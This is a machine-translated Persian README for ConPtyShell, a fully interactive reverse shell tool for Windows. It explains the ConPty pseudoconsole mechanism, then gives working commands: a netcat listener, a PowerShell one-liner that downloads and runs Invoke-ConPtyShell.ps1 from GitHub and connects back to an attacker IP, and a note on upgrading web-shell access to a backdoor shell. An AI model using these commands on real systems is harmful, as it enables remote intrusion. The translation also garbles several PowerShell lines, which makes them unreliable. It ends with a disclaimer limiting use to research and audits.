ConPtyShell یک پوسته کاملاً تعاملی برای سیستم های ویندوز است.
پیاده سازی کنسول Pseudo (ConPty) در ویندوز روش کار با استفاده از پایانه های ویندوز را بسیار بهبود بخشیده است. ] به طور خلاصه ، او یک شبه کنسول ایجاد می کند و 2 کانال را پیوست می کند.
سپس او یک پروسه پوسته (به طور پیش فرض) قدرت ایجاد می کند که شبه کنسول را با ورودی / خروجی تغییر مسیر متصل می کند.
سپس 2 موضوع برای ورودی ناهمزمان شروع می شود. خروجی:
– یک موضوع برای خواندن و سوکت را بنویسید و به کانال ورودی شبه کنسول بنویسید ؛
– دومین جریان برای خواندن از کانال خروجی شبه کنسول و نوشتن سوکت.
ConPtyShell یک روش "ارتقاء به طور کامل تعاملی" برای پوسته معکوس نیست ، فقط از آن استفاده کنید
توجه. ConPty Shell از تابع CreatPseudoConsole () استفاده می کند. این عملکرد با شروع Windows 10 / Windows Server 2019 نسخه 1809 (ساخت 10.0.17763) قابل اجرا است.
مورد نیاز
طرف مشتری: نسخه Windows> = 10/2019 1809 ( مونتاژ> = 10.0.17763)
سمت سرور: هر شنونده TCP ، یعنی netcat
با استفاده از
اگر می خواهید خروجی را بر روی پوسته تنظیم کنید ، اندازه ردیف و ستون مشابه بین ترمینال و ترمینال راه دور خود را داشته باشید.
روش 1
در این روش اندازه ترمینال بدون عبور ردیف تنظیم می شود و cols به تابع Invoke-ConPtyShell:
سمت سرور:
stty raw -echo؛ (اندازه stty ؛ گربه) | nc -lvnp 3001
طرف مشتری:
IEX (IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing)؛ Invoke-ConPtyShell 10.0.0.2 3001
یا ، اگر PS1 را بارگیری کنید:
IEX (دریافت-محتوا. Invoke-ConPtyShell.ps1 -Raw)؛ Invoke-ConPtyShell 10.0.0.2 3001
روش 2
اگر ترجیح می دهید آزادی عمل بیشتری برای شنونده tcp و ترمینال خود داشته باشید ، می توانید به روش "دستی" برای بدست آوردن پوسته پشتی بروید.
در این حالت ، تعیین میزان ردیف ها و ستون ها هنگام فراخوانی تابع فراخوانی مهم است. -ConPtyShell:
سمت سرور:
اندازه stty
nc -lvnp 3001
منتظر اتصال باشید
ctrl + z
خاموشی خام
fg [ENTER]
طرف مشتری:
در اینجا شما باید از مقادیر خوانده شده از دستور stty size در پارامترهای-Rows و -Cols
IEX (IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/ Invoke-ConPtyShell.ps1 -UseBasicParsing)؛ Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
یا اگر PS1 را بارگیری می کنید:
IEX (دریافت-محتوا. Invoke-ConPtyShell.ps1 -Raw)؛ Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
تغییر اندازه کنسول
در هر صورت ، اگر ترمینال خود را تغییر اندازه دهید هنگامی که پوسته راه دور را باز کردید ، می توانید ردیف ها و ستون ها را تغییر اندازه دهید. با وارد کردن کد زیر به طور مستقیم از powerhell:
عرض = 80
ارتفاع $ = 24
$ Host.UI.RawUI.BufferSize = مدیریت شیء جدید.Automation.Host.Size (عرض $ ، ارتفاع $)
$ Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList (عرض $ ، ارتفاع $)
Damo
در زیر این ویدئو می توانید یک سناریوی شبیه سازی شده را ببینید در ترمینال سمت چپ من از طریق پوسته وب به سرور دسترسی محدود دارم و در سمت راست یک پوسته پشتی کاملاً تعاملی ایجاد می شود:
¯ _ (ツ) _ / ¯
توجه: اطلاعات مربوط به تحقیق ، آموزش یا ممیزی. استفاده خودخواهانه براساس قوانین فدراسیون روسیه قابل مجازات است.